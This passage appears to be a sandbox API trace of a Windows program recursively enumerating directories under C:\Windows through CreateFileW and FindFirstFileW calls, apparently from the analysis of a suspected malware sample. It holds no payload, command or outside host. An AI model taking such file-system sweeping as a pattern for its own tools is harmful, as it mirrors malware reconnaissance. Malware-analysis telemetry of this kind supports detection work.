	[0087.114] FindFirstFileW (in: lpFileName="C:\\Windows\\L2Schemas\\*", lpFindFileData=0x126c19e0 | out: lpFindFileData=0x126c19e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80b6f4c5, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80b6f4c5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.119] CreateFileW (lpFileName="C:\\Windows\\LiveKernelReports" (normalized: "c:\\windows\\livekernelreports"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.119] FindFirstFileW (in: lpFileName="C:\\Windows\\LiveKernelReports\\*", lpFindFileData=0x126c19e0 | out: lpFindFileData=0x126c19e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe60eb80, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9a0a5fd1, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.119] CreateFileW (lpFileName="C:\\Windows\\Logs" (normalized: "c:\\windows\\logs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.119] FindFirstFileW (in: lpFileName="C:\\Windows\\Logs\\*", lpFindFileData=0x126c19e0 | out: lpFindFileData=0x126c19e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6938ae40, ftLastAccessTime.dwHighDateTime=0x1d2fafa, ftLastWriteTime.dwLowDateTime=0x6938ae40, ftLastWriteTime.dwHighDateTime=0x1d2fafa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.119] CreateFileW (lpFileName="C:\\Windows\\Logs\\CBS" (normalized: "c:\\windows\\logs\\cbs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.119] FindFirstFileW (in: lpFileName="C:\\Windows\\Logs\\CBS\\*", lpFindFileData=0x126c197c | out: lpFindFileData=0x126c197c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x151731e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x151731e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.120] CreateFileW (lpFileName="C:\\Windows\\Logs\\DPX" (normalized: "c:\\windows\\logs\\dpx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.120] FindFirstFileW (in: lpFileName="C:\\Windows\\Logs\\DPX\\*", lpFindFileData=0x126c197c | out: lpFindFileData=0x126c197c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2ca89280, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2ca89280, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x2ca89280, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.120] CreateFileW (lpFileName="C:\\Windows\\Logs\\HomeGroup" (normalized: "c:\\windows\\logs\\homegroup"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.120] FindFirstFileW (in: lpFileName="C:\\Windows\\Logs\\HomeGroup\\*", lpFindFileData=0x126c197c | out: lpFindFileData=0x126c197c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80093051, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80093051, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.121] CreateFileW (lpFileName="C:\\Windows\\Logs\\SystemRestore" (normalized: "c:\\windows\\logs\\systemrestore"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.121] FindFirstFileW (in: lpFileName="C:\\Windows\\Logs\\SystemRestore\\*", lpFindFileData=0x126c197c | out: lpFindFileData=0x126c197c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6938ae40, ftCreationTime.dwHighDateTime=0x1d2fafa, ftLastAccessTime.dwLowDateTime=0xf9fe860, ftLastAccessTime.dwHighDateTime=0x1d305f6, ftLastWriteTime.dwLowDateTime=0x6811ff60, ftLastWriteTime.dwHighDateTime=0x1d305f6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.122] CreateFileW (lpFileName="C:\\Windows\\Media" (normalized: "c:\\windows\\media"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.122] FindFirstFileW (in: lpFileName="C:\\Windows\\Media\\*", lpFindFileData=0x126c19e0 | out: lpFindFileData=0x126c19e0*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8105822e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8105822e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.122] CreateFileW (lpFileName="C:\\Windows\\Media\\Afternoon" (normalized: "c:\\windows\\media\\afternoon"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.122] FindFirstFileW (in: lpFileName="C:\\Windows\\Media\\Afternoon\\*", lpFindFileData=0x126c197c | out: lpFindFileData=0x126c197c*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe634cda, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81188d30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81188d30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.131] CreateFileW (lpFileName="C:\\Windows\\Media\\Calligraphy" (normalized: "c:\\windows\\media\\calligraphy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.131] FindFirstFileW (in: lpFileName="C:\\Windows\\Media\\Calligraphy\\*", lpFindFileData=0x126c197c | out: lpFindFileData=0x126c197c*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe634cda, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x810a44ef, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x810a44ef, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.141] CreateFileW (lpFileName="C:\\Windows\\Media\\Characters" (normalized: "c:\\windows\\media\\characters"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.141] FindFirstFileW (in: lpFileName="C:\\Windows\\Media\\Characters\\*", lpFindFileData=0x126c197c | out: lpFindFileData=0x126c197c*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe634cda, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8107e38e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8107e38e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.148] CreateFileW (lpFileName="C:\\Windows\\Media\\Cityscape" (normalized: "c:\\windows\\media\\cityscape"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.148] FindFirstFileW (in: lpFileName="C:\\Windows\\Media\\Cityscape\\*", lpFindFileData=0x126c197c | out: lpFindFileData=0x126c197c*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe634cda, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8105822e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8105822e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.157] CreateFileW (lpFileName="C:\\Windows\\Media\\Delta" (normalized: "c:\\windows\\media\\delta"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.157] FindFirstFileW (in: lpFileName="C:\\Windows\\Media\\Delta\\*", lpFindFileData=0x126c197c | out: lpFindFileData=0x126c197c*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe65ae34, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81162bd0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81162bd0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.165] CreateFileW (lpFileName="C:\\Windows\\Media\\Festival" (normalized: "c:\\windows\\media\\festival"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.166] FindFirstFileW (in: lpFileName="C:\\Windows\\Media\\Festival\\*", lpFindFileData=0x126c197c | out: lpFindFileData=0x126c197c*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe65ae34, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x810f07af, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x810f07af, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.175] CreateFileW (lpFileName="C:\\Windows\\Media\\Garden" (normalized: "c:\\windows\\media\\garden"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.176] FindFirstFileW (in: lpFileName="C:\\Windows\\Media\\Garden\\*", lpFindFileData=0x126c197c | out: lpFindFileData=0x126c197c*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe65ae34, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x810ca64f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x810ca64f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.184] CreateFileW (lpFileName="C:\\Windows\\Media\\Heritage" (normalized: "c:\\windows\\media\\heritage"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.184] FindFirstFileW (in: lpFileName="C:\\Windows\\Media\\Heritage\\*", lpFindFileData=0x126c197c | out: lpFindFileData=0x126c197c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x810ca64f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x810ca64f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.191] CreateFileW (lpFileName="C:\\Windows\\Media\\Landscape" (normalized: "c:\\windows\\media\\landscape"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.192] FindFirstFileW (in: lpFileName="C:\\Windows\\Media\\Landscape\\*", lpFindFileData=0x126c197c | out: lpFindFileData=0x126c197c*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe65ae34, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8113ca70, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8113ca70, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.200] CreateFileW (lpFileName="C:\\Windows\\Media\\Quirky" (normalized: "c:\\windows\\media\\quirky"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.200] FindFirstFileW (in: lpFileName="C:\\Windows\\Media\\Quirky\\*", lpFindFileData=0x126c197c | out: lpFindFileData=0x126c197c*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe65ae34, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81116910, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81116910, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.208] CreateFileW (lpFileName="C:\\Windows\\Media\\Raga" (normalized: "c:\\windows\\media\\raga"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.208] FindFirstFileW (in: lpFileName="C:\\Windows\\Media\\Raga\\*", lpFindFileData=0x126c197c | out: lpFindFileData=0x126c197c*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe65ae34, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x810a44ef, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x810a44ef, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.216] CreateFileW (lpFileName="C:\\Windows\\Media\\Savanna" (normalized: "c:\\windows\\media\\savanna"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.217] FindFirstFileW (in: lpFileName="C:\\Windows\\Media\\Savanna\\*", lpFindFileData=0x126c197c | out: lpFindFileData=0x126c197c*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe680f8e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81116910, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81116910, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.224] CreateFileW (lpFileName="C:\\Windows\\Media\\Sonata" (normalized: "c:\\windows\\media\\sonata"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.224] FindFirstFileW (in: lpFileName="C:\\Windows\\Media\\Sonata\\*", lpFindFileData=0x126c197c | out: lpFindFileData=0x126c197c*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe680f8e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81162bd0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81162bd0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.246] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET" (normalized: "c:\\windows\\microsoft.net"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.246] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\*", lpFindFileData=0x126c19e0 | out: lpFindFileData=0x126c19e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe6f339c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd0be0600, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xd0be0600, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.248] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework" (normalized: "c:\\windows\\microsoft.net\\framework"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.248] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\*", lpFindFileData=0x126c197c | out: lpFindFileData=0x126c197c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe6f339c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x89f82540, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x89f82540, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.257] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v1.0.3705" (normalized: "c:\\windows\\microsoft.net\\framework\\v1.0.3705"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.257] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v1.0.3705\\*", lpFindFileData=0x126c1918 | out: lpFindFileData=0x126c1918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7194f6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8fc7e9ac, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8fc7e9ac, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.261] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v1.1.4322" (normalized: "c:\\windows\\microsoft.net\\framework\\v1.1.4322"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.261] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v1.1.4322\\*", lpFindFileData=0x126c1918 | out: lpFindFileData=0x126c1918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7194f6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfeb1d974, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfeb1d974, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.262] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.262] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\*", lpFindFileData=0x126c1918 | out: lpFindFileData=0x126c1918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7194f6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd0be0600, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xd0be0600, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.266] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\1033" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.266] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\1033\\*", lpFindFileData=0x126c18b4 | out: lpFindFileData=0x126c18b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7194f6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfeb43ace, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfeb43ace, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.268] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\asp.netwebadminfiles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.268] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\*", lpFindFileData=0x126c18b4 | out: lpFindFileData=0x126c18b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe73f650, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfeb69c28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfeb69c28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.283] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\asp.netwebadminfiles\\appconfig"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.284] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\*", lpFindFileData=0x126c1850 | out: lpFindFileData=0x126c1850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe73f650, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe7657aa, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe7657aa, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.284] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\asp.netwebadminfiles\\appconfig\\app_localresources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.284] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\*", lpFindFileData=0x126c17ec | out: lpFindFileData=0x126c17ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7657aa, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfeb69c28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfeb69c28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
